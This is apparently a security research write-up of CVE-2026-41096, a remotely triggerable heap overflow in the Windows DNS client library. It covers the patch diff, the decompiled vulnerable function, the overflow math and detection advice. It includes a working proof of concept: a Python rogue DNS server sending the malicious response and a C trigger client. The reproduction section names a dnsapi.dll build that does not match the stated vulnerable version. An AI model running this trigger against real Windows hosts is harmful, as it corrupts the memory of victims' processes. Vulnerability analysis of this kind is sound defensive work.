Executive Summary
CVE-2026-41096 is a remotely-triggerable heap overflow in dnsapi.dll, the Windows DNS client library shipped with modern Windows 11 builds. A single crafted UDP DNS response — no authentication, no user interaction, no second packet — corrupts up to 604 bytes of attacker-controlled data past the end of a heap allocation in any process that calls DnsQueryRaw. Root cause is a type confusion in Packet_SkipToRecord: with QDCOUNT=0, the function treats the first entry as a resource record and over-skips it, sending the destination pointer of a later memmove right to the edge of the buffer.
This post walks the patch diff between unpatched (10.0.28000.1896) and patched (10.0.28000.2113) dnsapi.dll binaries using ghidriff, decompiles the vulnerable DnsRawTruncateMessageForUdp in Ghidra, derives the exact overflow arithmetic, shows all three defenses Microsoft layered behind the Feature_1831057722 WIL gate, and ships a working two-piece PoC: a Python rogue DNS server and a C trigger client built around the asynchronous DnsQueryRaw API. Network and host detection guidance closes the article.
Diffing the Patch
The starting point is two builds of dnsapi.dll — one from before the patch, one from after — loaded into Ghidra and diffed with ghidriff.
| Property | Unpatched | Patched |
|---|---|---|
| PE symbol path | dnsapi/8FB65B3A135000 | dnsapi/D4B9BB7F135000 |
| Build version | 10.0.28000.1896 | 10.0.28000.2113 |
| File size | 1,269,760 | 1,269,864 |
dnsapi.dll builds compared. Source: original article.Out of roughly 3,750 functions, 99.88% match between the two builds. Only 22 functions show real code changes, and two stand out:
DnsRawTruncateMessageForUdp— 84% match rate, body grows from 642 to 796 bytes (+154 bytes of new logic). Far more than a refactor.UsageIndexProperty::Write— 42% match rate. On inspection, the unpatched version is missing the fourth argument tomemcpy_s. A separate bug, not the one we are chasing.
The patch also introduces a new symbol, Feature_1831057722__private_IsEnabledDeviceUsageNoInline. That naming pattern is a Microsoft WIL feature gate — the classic “ship the fix behind a flag we can roll back” pattern. Every defensive check we’ll see lives behind this gate.
The DNS Message Buffer
To understand the bug, you need to know how dnsapi.dll lays out DNS messages in memory. The internal DNS_MSG_BUF structure is a single heap blob. The first 700 bytes are internal metadata; the actual on-the-wire DNS packet starts at offset +0x2BC:
┌─────────────────────────────────────────┐
│ Offset 0x000 - 0x247: Internal metadata │
│ (flags, pointers, state) │
├─────────────────────────────────────────┤
│ +0x248: cbMessageLength (uint32) │
│ +0x250: pBufferEnd (ptr to wire end) │
│ +0x2BA: wMessageLength (uint16) │
├─────────────────────────────────────────┤ ← Wire format starts at +0x2BC (offset 700)
│ +0x2BC: Transaction ID (2 bytes) │
│ +0x2BE: Flags (2 bytes) │
│ +0x2C0: QDCOUNT (2 bytes) │ ← Key field: question count
│ +0x2C2: ANCOUNT (2 bytes) │
│ +0x2C4: NSCOUNT (2 bytes) │
│ +0x2C6: ARCOUNT (2 bytes) │
│ +0x2C8: Data section (variable) │
└─────────────────────────────────────────┘
| Offset | Description | Size |
|---|---|---|
| 0x000–0x247 | Internal metadata | — |
| +0x248 | cbMessageLength (uint32) | — |
| +0x250 | pBufferEnd (ptr to wire end) | — |
| +0x2BA | wMessageLength (uint16) | — |
| +0x2BC | Transaction ID | 2 bytes |
| +0x2BE | Flags | 2 bytes |
| +0x2C0 | QDCOUNT | 2 bytes |
| +0x2C2 | ANCOUNT | 2 bytes |
| +0x2C4 | NSCOUNT | 2 bytes |
| +0x2C6 | ARCOUNT | 2 bytes |
| +0x2C8 | Data section | variable |
DNS_MSG_BUF layout in dnsapi.dll. Source: original article.Allocation size is computed by Packet_AllocateMsgBuf(wire_size), which delegates to Dns_Allocate(max(512, wire_size) + 0x2C3). For a 623-byte crafted response that comes out to HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 1330). Remember the number 1330 — it shows up again in the overflow math.
The Bug
How Packet_SkipToRecord decides what to skip
Packet_SkipToRecord(wire_start, wire_end, n) walks forward past the first n entries of a DNS message. The critical decision it makes on every iteration is whether the current entry is a question or a resource record, because the two have very different sizes:
- If the current index is less than QDCOUNT, parse as a question. Skip = name +
QTYPE(2 bytes) +QCLASS(2 bytes) = name + 4. - If the current index is greater than or equal to QDCOUNT, parse as a resource record. Skip = name +
TYPE(2) +CLASS(2) +TTL(4) +RDLEN(2) +RDATA(whateverRDLENsays). For an OPT record with 600 bytes of RDATA, that’s 611 bytes total.
The decision pivots on one field, QDCOUNT, which is fully attacker-controlled in the response. Here is the simplified Ghidra decompilation:
// Ghidra decompilation — Packet_SkipToRecord (simplified)
do {
pbVar2 = Packet_SkipPacketName(pbVar2, param_2); // skip DNS name
if (iVar3 < (int)(uint)*(ushort *)(param_1 + 4)) {
// Entry index < QDCOUNT → treat as QUESTION
// Skip: QTYPE(2) + QCLASS(2) = 4 bytes
pbVar2 = pbVar2 + 4;
} else {
// Entry index >= QDCOUNT → treat as RESOURCE RECORD
// Skip: TYPE(2) + CLASS(2) + TTL(4) + RDLEN(2) + RDATA(RDLEN)
pbVar2 = Dns_SkipPacketRecord(pbVar2, param_2);
}
iVar3++;
} while (iVar3 < param_3);
The vulnerable function
Here is unpatched DnsRawTruncateMessageForUdp, with WPP tracing stripped for readability:
undefined4 DnsRawTruncateMessageForUdp(byte *param_1, uint param_2, undefined4 *param_3)
{
byte *_Dst;
// Step 1: Skip first entry to find where to place the truncated payload
_Dst = Packet_SkipToRecord(param_1 + 700, // wire data start
*(param_1 + 0x250), // wire data end
1); // skip exactly 1 entry
// Step 2: Locate the OPT record (EDNS)
uVar2 = DnsRawFindOptRecord(param_1, &local_50, local_54);
if (uVar2 != 0) {
// Step 3: Copy OPT record to _Dst
memmove(_Dst, local_50, local_54[0]); // ← OVERFLOW HERE
_Dst = _Dst + local_54[0];
}
// Step 4: Validate truncated size (TOO LATE — memmove already executed)
pbVar1 = _Dst + (-700 - (longlong)param_1); // new message length
if ((ulonglong)param_2 < pbVar1) {
return 0x251e; // DNS_ERROR_BAD_PACKET
}
// ...
}
Trace what happens when the attacker sends QDCOUNT == 0:
- Normal case (
QDCOUNT >= 1): entry 0 is a question.Packet_SkipToRecordskips name + 4._Dstlands right after the question section. There is plenty of room left, and thememmovesafely places the OPT record there. - Malicious case (
QDCOUNT == 0): entry 0 is now treated as a resource record.Packet_SkipToRecordcallsDns_SkipPacketRecord, which skips the full OPT — name, TYPE, CLASS, TTL, RDLEN, and all 600 bytes of RDATA._Dstnow points to the very end of the wire data, right at the heap allocation boundary.
Then the function performs a 611-byte memmove at that location. The allocation is 1330 bytes, the destination is at offset 1323. 611 written into 7 bytes of remaining space = 604 bytes of overflow straight into the next heap chunk. The bounds check in step 4 does run — but only after the memmove has already done the damage.
Overflow Math
Sizes for the crafted response (QDCOUNT=0, ANCOUNT=0, NSCOUNT=0, ARCOUNT=1, single OPT record):
| Component | Size | Cumulative |
|---|---|---|
| DNS Header | 12 bytes | 12 |
OPT name (root .) | 1 byte | 13 |
| OPT TYPE (41) | 2 bytes | 15 |
| OPT CLASS (UDP size) | 2 bytes | 17 |
| OPT TTL (extended RCODE) | 4 bytes | 21 |
| OPT RDLEN | 2 bytes | 23 |
| OPT RDATA | 600 bytes | 623 |
MsgBuf allocation: max(512, 623) + 0x2C3 = 623 + 707 = 1330 bytes.
Wire placement: starts at MsgBuf+700, occupies bytes 700–1322 (623 bytes), allocation ends at byte 1330.
Destination calculation when QDCOUNT=0: Packet_SkipToRecord treats the OPT as a full resource record and skips it entirely. _Dst = MsgBuf+700+623 = MsgBuf+1323.
memmove write: 611 bytes (OPT record without the DNS header) starting at MsgBuf+1323. Remaining space before the allocation boundary: 1330 - 1323 = 7 bytes. Overflow = 611 – 7 = 604 bytes.
The attacker fully controls the OPT RDATA bytes (and the 4-byte TTL field too), so the 604 bytes that land in the next heap chunk are arbitrary attacker bytes. In the PoC everything is filled with 0x41 so the overflow is trivial to spot in a debugger.
What the Patch Does
The fix adds three independent defenses, all gated by Feature_1831057722. The interesting part: any one of them would have been enough on its own. Microsoft applied all three.
Fix 1: Don’t call Packet_SkipToRecord when QDCOUNT is zero
This is the core fix. When QDCOUNT == 0, the patched code bypasses Packet_SkipToRecord entirely and points _Dst at the start of the data section (+0x2C8) — right after the 12-byte DNS header. No question entries, no skipping, no overshoot.
// PATCHED — Ghidra decompilation (simplified)
uVar2 = Feature_1831057722__private_IsEnabledDeviceUsageNoInline();
if (uVar2 == 0) {
// Legacy path (feature gate not enabled)
_Dst = Packet_SkipToRecord(param_1 + 700, *(param_1 + 0x250), 1);
} else {
uVar3 = *(ushort *)(param_1 + 0x2c0); // Read QDCOUNT
if (uVar3 != 0) {
// Has questions → safe to call Packet_SkipToRecord
goto LAB_SkipToRecord;
}
// QDCOUNT == 0 → bypass Packet_SkipToRecord entirely
// Set _Dst to the start of the data section (just after the 12-byte header)
_Dst = (byte *)(param_1 + 0x2c8);
}
Fix 2: Sanity check, reject if OPT is before destination
Defense in depth. Even if a different code path managed to leave _Dst in a bad state, the patched code now rejects packets where the OPT record sits before the destination — an inconsistency that should never occur in a well-formed message. The return code is the same DNS_ERROR_BAD_PACKET (0x251E) the function uses elsewhere, so callers see a clean failure instead of memory corruption.
uVar2 = DnsRawFindOptRecord(param_1, &local_48, local_50);
if (uVar2 != 0) {
uVar2 = Feature_1831057722__private_IsEnabledDeviceUsageNoInline();
if ((uVar2 != 0) && (local_48 < _Dst)) {
// OPT record is BEFORE _Dst → invalid state → reject
return 0x251e; // DNS_ERROR_BAD_PACKET
}
memmove(_Dst, local_48, local_50[0]); // Safe: OPT is at or after _Dst
}
Fix 3: Don’t lie about QDCOUNT in the truncated header
The unpatched code forced QDCOUNT to 1 in the truncated output header, even when the original had QDCOUNT=0. The patched code preserves the original value. This one is less about direct exploitation and more about correctness — the truncated response should accurately reflect what was parsed.
// When writing truncated header counts:
uVar2 = Feature_1831057722__private_IsEnabledDeviceUsageNoInline();
if (uVar2 == 0) {
uVar5 = 1; // Old: always force QDCOUNT to 1
}
// New: preserve original QDCOUNT value (0 stays 0)
*(undefined2 *)(param_1 + 0x2c0) = uVar5;
The PoC
Two pieces are needed: a rogue DNS server (Python, runs anywhere) and a trigger client (C, runs on a vulnerable Windows 11 host).
Rogue DNS Server
Nothing fancy — bind UDP/53, reply to every query with the crafted QDCOUNT=0 + OPT response.
#!/usr/bin/env python3
"""
CVE-2026-41096 — Rogue DNS Server
Replies to every DNS query with a crafted QDCOUNT=0 + OPT response
that triggers a heap overflow in DnsRawTruncateMessageForUdp().
"""
import socket, struct, sys
RDATA_SIZE = 600 # OPT RDATA bytes (must make total response > 512)
def response(txid):
# QDCOUNT=0 ANCOUNT=0 NSCOUNT=0 ARCOUNT=1
hdr = struct.pack("!6H", txid, 0x8180, 0, 0, 0, 1)
# root name TYPE=OPT(41) CLASS=4096 TTL=0x41414141 RDLEN
opt = (b"\x00"
+ struct.pack("!HHIH", 41, 4096, 0x41414141, RDATA_SIZE)
+ b"\x41" * RDATA_SIZE)
return hdr + opt
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sock.bind(("0.0.0.0", 53))
total = 12 + 11 + RDATA_SIZE
print(f"[*] CVE-2026-41096 rogue DNS — :53 ({total}B response, RDATA={RDATA_SIZE})")
try:
while True:
data, addr = sock.recvfrom(512)
if len(data) < 12:
continue
txid = struct.unpack("!H", data[:2])[0]
r = response(txid)
sock.sendto(r, addr)
print(f"[+] {addr[0]}:{addr[1]} TXID=0x{txid:04X} -> {len(r)}B sent")
except KeyboardInterrupt:
print("\n[*] Stopped.")
finally:
sock.close()
Anatomy of the 623-byte malicious response:
0 1 2 3
0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Transaction ID | Flags: 0x8180 (QR=1, | Bytes 0-3
| | RD=1, RA=1, RCODE=0) |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| QDCOUNT = 0x0000 | ANCOUNT = 0x0000 | Bytes 4-7
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| NSCOUNT = 0x0000 | ARCOUNT = 0x0001 | Bytes 8-11
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Name: 0x00 | TYPE = 41 (OPT) | CLASS = 4096 | Bytes 12-16
| (root domain) | | (UDP payload size) |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| TTL = 0x41414141 | RDLEN = 600 | Bytes 17-22
| (extended RCODE + flags) | |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| |
| RDATA: 600 × 0x41 ('A') | Bytes 23-622
| (attacker-controlled) |
| |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
The three knobs that matter:
QDCOUNT = 0— triggers thePacket_SkipToRecordtype-confusion path.- Total size (623 bytes) > 512 — forces the truncation code path that contains the bug.
- Large OPT RDATA — controls the size of the overflow and its content.
Trigger Client
The client points DnsQueryRaw at the rogue server. DnsQueryRaw is resolved at runtime via GetProcAddress because it’s not in older SDK headers, and an unhandled exception filter is installed to catch the crash — the corruption hits inside the asynchronous RPC callback thread, not the main thread.
/*
* CVE-2026-41096 - DnsQueryRaw Heap Overflow Trigger
*
* Build: cl /W4 /O2 trigger_client.c /link ws2_32.lib
* Usage: trigger_client.exe <ROGUE_DNS_IP>
* Exit: 0 = patched, 1 = error, 2 = crash (vulnerable)
*/
#define WIN32_LEAN_AND_MEAN
#include <winsock2.h>
#include <ws2tcpip.h>
#include <windows.h>
#include <windns.h>
#include <stdio.h>
#include <stdlib.h>
#pragma comment(lib, "ws2_32.lib")
typedef DNS_STATUS (WINAPI *pfnDnsQueryRaw)(
DNS_QUERY_RAW_REQUEST *, DNS_QUERY_RAW_CANCEL *);
typedef void (WINAPI *pfnDnsQueryRawResultFree)(DNS_QUERY_RAW_RESULT *);
static HANDLE g_hEvent;
static DNS_QUERY_RAW_RESULT *g_pResult;
static volatile LONG g_callbackFired;
/* Catches the crash on the RPC callback thread */
static LONG WINAPI CrashFilter(EXCEPTION_POINTERS *ep)
{
DWORD code = ep->ExceptionRecord->ExceptionCode;
printf("\n[!!] CRASH — Exception 0x%08X at %p\n",
code, ep->ExceptionRecord->ExceptionAddress);
if (code == EXCEPTION_ACCESS_VIOLATION)
printf("[!!] %s at 0x%llX\n",
ep->ExceptionRecord->ExceptionInformation[0] ? "WRITE" : "READ",
(unsigned long long)ep->ExceptionRecord->ExceptionInformation[1]);
printf("\n[!!] CVE-2026-41096 CONFIRMED — heap overflow triggered.\n");
fflush(stdout);
TerminateProcess(GetCurrentProcess(), 2);
return EXCEPTION_EXECUTE_HANDLER;
}
static void CALLBACK CompletionCb(PVOID ctx, DNS_QUERY_RAW_RESULT *r)
{
(void)ctx;
g_pResult = r;
InterlockedExchange(&g_callbackFired, 1);
SetEvent(g_hEvent);
}
int main(int argc, char *argv[])
{
if (argc < 2) {
fprintf(stderr, "Usage: %s <ROGUE_DNS_IP>\n", argv[0]);
return 1;
}
SetUnhandledExceptionFilter(CrashFilter);
WSADATA wsa;
WSAStartup(MAKEWORD(2, 2), &wsa);
HMODULE hDns = LoadLibraryW(L"dnsapi.dll");
pfnDnsQueryRaw pDnsQueryRaw =
(pfnDnsQueryRaw)GetProcAddress(hDns, "DnsQueryRaw");
pfnDnsQueryRawResultFree pFreeResult =
(pfnDnsQueryRawResultFree)GetProcAddress(hDns, "DnsQueryRawResultFree");
if (!pDnsQueryRaw) {
fprintf(stderr, "[-] DnsQueryRaw not found (requires Win11 22H2+)\n");
return 1;
}
/* Point at the rogue DNS server */
DNS_CUSTOM_SERVER srv = {0};
srv.dwServerType = DNS_CUSTOM_SERVER_TYPE_UDP;
struct sockaddr_in *sa = (struct sockaddr_in *)srv.MaxSa;
sa->sin_family = AF_INET;
inet_pton(AF_INET, argv[1], &sa->sin_addr);
g_hEvent = CreateEventW(NULL, TRUE, FALSE, NULL);
DNS_QUERY_RAW_REQUEST req = {0};
DNS_QUERY_RAW_CANCEL can = {0};
req.version = DNS_QUERY_RAW_REQUEST_VERSION1;
req.resultsVersion = DNS_QUERY_RAW_RESULTS_VERSION1;
req.dnsQueryName = L"trigger.cve202641096.test";
req.dnsQueryType = DNS_TYPE_A;
req.queryCompletionCallback = CompletionCb;
req.queryContext = (PVOID)1;
req.queryRawOptions = DNS_QUERY_RAW_OPTION_BEST_EFFORT_PARSE;
req.customServersSize = 1;
req.customServers = &srv;
req.protocol = DNS_PROTOCOL_UDP;
printf("[*] Querying rogue server %s:53 via DnsQueryRaw...\n", argv[1]);
DNS_STATUS st = pDnsQueryRaw(&req, &can);
if (st != 0 && st != 9506 /* DNS_REQUEST_PENDING */) {
printf("[-] DnsQueryRaw failed: 0x%X\n", (unsigned)st);
return 1;
}
printf("[*] Waiting for response...\n");
WaitForSingleObject(g_hEvent, 15000);
if (g_callbackFired && g_pResult) {
DNS_STATUS qs = g_pResult->queryStatus;
printf("[+] Callback: queryStatus=0x%X\n", (unsigned)qs);
if (qs == 0x251E)
printf("[+] DNS_ERROR_BAD_PACKET — system is PATCHED.\n");
else
printf("[!] Heap overflow occurred silently — VULNERABLE.\n");
if (pFreeResult) pFreeResult(g_pResult);
}
CloseHandle(g_hEvent);
FreeLibrary(hDns);
WSACleanup();
return 0;
}
Call Chain
The interesting wrinkle is that the crash doesn’t fire on the main thread. DnsQueryRaw is asynchronous — the response is parsed on an RPC callback thread inside dnsapi.dll, and that’s where DnsRawTruncateMessageForUdp runs. That’s why a SetUnhandledExceptionFilter hook is required: a normal SEH frame in main would never see the corruption.
Reproducing the Crash
Reproduction was performed on a Windows 11 Pro 23H2 VM (build 22631.6199, dnsapi.dll 10.0.22621.5262) with the rogue server on the host.
Attacker side — start the rogue server (port 53 needs root):
sudo python3 rogue_dns_server.py
Victim side — build and run the trigger:
cl /W4 /O2 trigger_client.c /link ws2_32.lib
trigger_client.exe 192.168.56.1
Tip: enable Page Heap with gflags /p /enable trigger_client.exe /full to get a clean access violation right at the bad write instead of delayed Segment Heap corruption detection.
With Page Heap on: the access violation fires inside memmove. Page Heap places a guard page directly after the 1330-byte allocation, so the write hits it instantly.
[*] Querying rogue server 192.168.56.1:53 via DnsQueryRaw...
[*] Waiting for response...
[!!] CRASH — Exception 0xC0000005 at 0x00007FFD1A2B4F20
[!!] WRITE at 0x000001A33C3B1000
[!!] CVE-2026-41096 CONFIRMED — heap overflow triggered.
Without Page Heap: you get STATUS_HEAP_CORRUPTION (0xC0000374) instead — the Segment Heap notices the metadata damage on a later heap operation, after the overflow has already happened.
[*] Querying rogue server 192.168.56.1:53 via DnsQueryRaw...
[*] Waiting for response...
[!!] CRASH — Exception 0xC0000374 at 0x00007FFD1B5DXXXX
[!!] CVE-2026-41096 CONFIRMED — heap overflow triggered.
On a patched system: the QDCOUNT=0 guard engages, the dangerous memmove never runs, and the API returns cleanly:
[*] Querying rogue server 192.168.56.1:53 via DnsQueryRaw...
[*] Waiting for response...
[+] Callback: queryStatus=0x251E
[+] DNS_ERROR_BAD_PACKET — system is PATCHED.
Exploitability Notes
- Full content control. The attacker chooses both the size (via
RDLEN) and the content (OPT TTL + RDATA) of the overflow. You write arbitrary bytes into whatever sits next to theDNS_MSG_BUFchunk on the heap. - Heap layout.
GetProcessHeap()on Windows 11 uses Segment Heap. A 1330-byte allocation falls into the Variable Size (VS) bucket. Adjacent chunks vary by target process: other DNS buffers, application-specific allocations, occasionally vtable-bearing objects.
| Mitigation | Does it help? |
|---|---|
| ASLR | No, overflow is relative to adjacent heap objects |
| CFG | Blocks calling corrupted function pointers, but doesn’t prevent the write |
| Page Heap | Turns silent corruption into immediate crash (detection only) |
| Segment Heap checks | Catches it eventually, but there’s a window between overflow and detection |
Detection
Network side. The trigger is a DNS response with QDCOUNT=0. Legitimate DNS servers virtually always echo the question section back (QDCOUNT >= 1), so a response with bytes 4–5 equal to zero and bytes 10–11 (ARCOUNT) non-zero (indicating an OPT record in the Additional section) is a strong indicator. Any IDS / network monitor that can inspect DNS headers should flag it.
Host side.
- Process crash with faulting module
dnsapi.dll, exception code0xC0000005(access violation) or0xC0000374(heap corruption), andDnsRawTruncateMessageForUdpon the call stack. - On patched systems,
DNS_ERROR_BAD_PACKET(0x251E) shows up in ETW traces under theMicrosoft-Windows-DNS-Clientprovider. - Version check:
dnsapi.dllwith version ≤10.0.28000.1896is vulnerable.
Wrapping Up
At its core this is a clean type-confusion vulnerability. Packet_SkipToRecord looks at one header field, QDCOUNT, to decide how to parse the data structure that follows. An attacker sets that field to zero, and a 4-byte skip turns into a 611-byte skip. _Dst overshoots, memmove writes into the next heap allocation, and you get a 604-byte overflow with attacker-controlled content.
The patch is solid: three independent guards, any one of which would have closed the hole on its own, all gated behind a feature flag so Microsoft can roll back if a region of telemetry lights up.
Key Takeaways
- One-packet, no-auth, no-interaction primitive. A single 623-byte UDP DNS response yields a 604-byte heap overflow in any process that calls
DnsQueryRaw. - Root cause is type confusion on
QDCOUNT.Packet_SkipToRecordpicks question-vs-record handling based on a single attacker-controlled field; the validation that should have caught the resulting overshoot runs after the badmemmove. - Truncation path is the actual gadget. Responses must exceed 512 bytes to enter
DnsRawTruncateMessageForUdp, which is why the PoC pads OPT RDATA to 600 bytes. - The vulnerable code lives on the RPC callback thread. Any reliable triggering or local detonation logic has to install a process-wide exception filter to actually observe the crash.
- Three-layer fix behind a WIL feature gate. Microsoft preserved an opt-out path, so detection should look at both the version string and the actual return code on a known-bad probe.
- Page Heap turns the bug from “maybe corrupted” into “immediate AV.” Useful for fleet-wide reproduction or fuzzing rigs targeting
dnsapi.dllcode paths.
Defensive Recommendations
- Patch. Install the Windows update that ships
dnsapi.dll≥10.0.28000.2113. Confirm version with(Get-Item C:\Windows\System32\dnsapi.dll).VersionInfo.FileVersionin PowerShell. - Block
QDCOUNT=0in DNS responses. Add a network IDS rule that flags DNS responses (QR=1) where bytes 4–5 of the wire payload are zero. Legitimate recursors essentially never produce that. - Egress filter outbound DNS. Force all DNS traffic through trusted resolvers; do not allow arbitrary outbound UDP/53 from endpoint workstations. This shrinks the rogue-server attack surface dramatically.
- Hunt the crash signature. Look for WER / Event Log entries with faulting module
dnsapi.dll, exception0xC0000005or0xC0000374, and stack frames containingDnsRawTruncateMessageForUdp. - Inventory
DnsQueryRawcallers. The newDnsQueryRawAPI (Windows 11 22H2+) is the prerequisite for reaching this path from user-mode applications. Identify which in-house tooling and third-party agents use it. - Watch the ETW provider. Subscribe to
Microsoft-Windows-DNS-Clientand alert on a burst of0x251E(DNS_ERROR_BAD_PACKET) returns — on patched hosts a probe attempt converts into a flurry of those. - Enable Page Heap for high-value DNS clients. For long-running daemons that resolve untrusted names, page-heap-enabling them converts silent corruption into a clean crash with telemetry.
- Segment risky network paths. Browsers, mail clients, and any process that resolves attacker-influenced names should run with restrictive sandboxing — the overflow does not bypass process boundaries on its own.
Conclusion
CVE-2026-41096 is a textbook example of how a single attacker-controlled count field in a parser can turn a benign-looking pointer-advance routine into a remote heap-corruption primitive. The patch shows good defensive engineering — multiple independent layers behind a feature gate — but the underlying class of bug (type confusion driven by a length/count field, with validation after the write) keeps reappearing across DNS, TLS, and other protocol parsers. Patch promptly, add a network rule for QDCOUNT=0 in responses, and monitor dnsapi.dll crashes.
Original text: “CVE-2026-41096: Heap Overflow in the Windows DNS Client” by m0n1x90 at m0n1x90.dev. Full PoC source is in the author’s GitHub repository; binary diff produced with ghidriff.

